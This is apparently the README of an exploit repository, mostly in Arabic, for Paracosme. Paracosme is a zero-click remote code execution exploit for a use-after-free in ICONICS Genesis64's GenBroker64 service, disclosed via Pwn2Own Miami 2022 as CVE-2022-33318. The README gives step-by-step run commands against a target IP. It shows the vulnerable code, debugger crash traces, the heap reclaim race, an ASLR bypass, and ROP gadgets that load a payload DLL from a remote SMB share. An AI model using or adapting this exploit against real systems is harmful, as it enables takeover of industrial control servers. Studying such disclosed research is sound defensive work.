
Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Paracosme هو استغلال لفساد الذاكرة كتبته لاستهداف مجموعة Genesis64 الإصدار 10.97.1 من تطوير ICONICS لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
تم عرض هذا الاستغلال خلال مسابقة Pwn2Own 2022 Miami التي أُقيمت في مؤتمر S4x22. يمكنك القراءة عنه في المشاركة في Pwn2Own ICS 2022 Miami: استغلال فساد ذاكرة عن بُعد بدون نقر في ICONICS Genesis64.
حصلت المشكلة على 9.8 على مقياس CVSS وتم تعيينها CVE-2022-33318 / ZDI-22-1041. تم إصلاحها وتم إصلاحها في Genesis64 10.97.2. يمكنك أيضًا قراءة نشرة ICSA-22-202-04 بالإضافة إلى الورقة التقنية حول الثغرات الأمنية في مجموعة ICONICS من ICONICS.
يمكنك العثور على كود الاستغلال في src/paracosme.py، وPoC لتفعيل الانهيار / التحقق مما إذا كنت متأثرًا في src/paracosme-poc.py، والحمولة التي يتم تنفيذها على الجهاز في src/payload.
أفضل طريقة لمعرفة ما إذا كنت متأثرًا هي تفعيل Page Heap لـ GenBroker64.exe، ثم إعادة تشغيل الخدمة، وإرفاق مصحح أخطاء بـ GenBroker64.exe، وتشغيل paracosme-poc.py ضد خادمك، وسترى انهيارات مثل تلك الموضحة أدناه:
تحتاج إلى إرفاق مصحح أخطاء بالعملية المستهدفة لملاحظة الانهيار، وإلا فإن التطبيق يتجاهله.
تم اختبار الاستغلال على Windows فقط، لكنه يجب أن يعمل أيضًا على منصات Linux:
impacket باستخدام: pip3 install impacketsc config lanmanserver start=disabled ثم أعد التشغيلsmbserver.py (جزء من أمثلة impacket) عن طريق: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip>
لمزيد من التفاصيل، يرجى الرجوع إلى المشاركة في Pwn2Own ICS 2022 Miami: استغلال فساد ذاكرة عن بُعد بدون نقر في ICONICS Genesis64.
يستغل Paracosme مشكلة استخدام بعد التحرير (use-after-free) موجودة في عملية GenBroker64 لتحقيق تنفيذ التعليمات البرمجية عن بُعد على نظام Windows 21H2 x64.
بشكل عام، تستمع عملية GenBroker64 على منفذ TCP 38080 ويمكنها إلغاء تسلسل حزم مختلفة بعد إجراء مصافحة مع عميل. المشكلة التي وجدتها هي في الكود الذي يتعامل مع قراءة VARIANT من مقبس الشبكة. ببساطة، المتغير (variant) هو نوع وقيمة. تبدو الدالة مكتوبة جيدًا للوهلة الأولى، وتبذل جهدًا لتفريغ أنواع معينة فقط. هذا ما يبدو عليه الكود:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
الدالة مملة في معظمها لأنها تحتوي أيضًا على منطق لتفريغ الأنواع البسيطة، لكن ما لفت انتباهي هو VT_DISPATCH / VT_UNKNOWN.
ما هذا بحق الجحيم؟ يمكنك إرسال معرف فئة (class ID) لأي كائن COM يطبّق إما IPersistStream أو IPersistStreamInit وسيتم تحميله عن طريق استدعاء IPersistream::Load لتهيئة الكائن. على الرغم من أن هذا مفاجئ وميزة غريبة، إلا أنني لم أجد هذا مثيرًا للاهتمام من الناحية الأمنية لأنني سأحتاج إلى العثور على خطأ آخر في كائن COM متاح على Windows 10 الافتراضي.
الآن، دعونا ننظر عن كثب إلى الكود أدناه:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
استدعاء CoCreateInstance يكتب مؤشر مثيل COM مباشرة في pSrc->punkVal وهو المتغير الناتج المخزّن في مستدعٍ على بُعد عدة إطارات. بعد ذلك، إذا أدى IStreamPersist::Load إلى إثارة استثناء، يتم التقاطه ويتم استدعاء IUnknown::Release على كل من واجهتي IUnknown وIPersistStream، مما يؤدي إلى تحرير كائن COM ويترك pSrc->punkVal معلقًا. النقطة المثيرة للاهتمام الأخرى هي أنه بعد القيام بذلك، يعيد كتلة الالتقاط إثارة الاستثناء الذي يتم التقاطه بواسطة الكود أدناه:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
في هذه المرحلة، تم بالفعل تحرير المتغير ولكن لم يتم تحديث / تغيير نوعه وقيمته، لذا تتسبب استدعاءات VariantClear هذه في حدوث IUnknown::Release ثانٍ يُنتج الانهيار التالي:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
واو، هذا رائع جدًا، يمكننا تفعيل ما سبق عن طريق إنشاء كائن COM يطبّق IPersistStream وجعله يثير استثناءً عند استدعاء Load. يمكنك العثور على كود التفعيل في paracosme-poc.py الذي يجب أن يسبب انهيار عملية GenBroker64.exe على الهدف. يمكنك أيضًا تفعيل Page Heap على GenBroker64.exe للحصول على انهيار فوري.
عند استدعاء VariantClear على المتغير، فإنه يرسل استدعاءً افتراضيًا إلى طريقة Release لتحريره. نظرًا لأن هذا استدعاء افتراضي، تقرأ الدالة جدول vtable وتلتقط مؤشر دالة عند إزاحة ثابتة ثم تستدعيه. قبل حدوث ذلك، ننافس الخيط لاستعادة مثيل ole32!CFileMoniker واستبداله ببيانات خاضعة لسيطرتنا (انظر RacerThread_t). ونتيجة لذلك، نتحكم في مؤشر vtable ونكون على بُعد تعليمة واحدة من اختطاف RIP. يوضح ما يلي تعليمة التجميع المقابلة حيث يشير @rcx إلى الكتلة التي نتحكم فيها بالكامل:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
نظرًا لأن لدينا سيطرة كاملة على الكتلة المستعادة، فإننا نتحكم في @rax. لاختطاف تدفق التحكم، نحتاج إلى ضبط @rax على مؤشر للقيمة التي نريد اختطاف @rip بها. المشكلة الكبيرة هنا هي ASLR ولا نملك إفصاحًا عن المعلومات.
لحسن حظنا، لا تحتوي الوحدة GenBroker64.exe على قاعدة ديناميكية، مما يعني أنه يمكننا استخدامها للعثور على موقع يشير إلى gadget مثير للاهتمام لبدء سلسلتنا.
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
أول gadget يُستخدم هو gadget يسمح لنا بالتحكم الكامل في @rip (بدون أي وساطة):
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
يمكننا وضع عنوان gadget التالي عند الإزاحة +0x10 في الكتلة التي نستعيدها (التي يشير إليها @rcx)، وهذا رائع.
أما gadget الثاني الذي نستخدمه فينقل المكدس إلى كتلة الكومة المستعادة التي نتحكم فيها بالكامل:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
الشيء المضحك هو أن عنوان كتلة الكومة الخاصة بنا يبدو أنه موجود (دائمًا؟) في موقع يناسب عددًا صحيحًا 32-بت، ولهذا يعمل mov esp, ecx بشكل جيد.
في هذه المرحلة، لدينا ROP لكن لا نملك مساحة كبيرة، وكان ذلك محبطًا للغاية. قضيت وقتًا طويلاً في محاولة محاذاة النجوم، وفي النهاية توصلت إلى تسلسل من الـ gadgets يستدعي LoadLibraryW بمسار SMB بعيد يشير إلى ملف DLL يستضيف حمولتنا. إذا كنت مهتمًا بتفاصيل السلسلة، فاطلع على paracosme.py@241.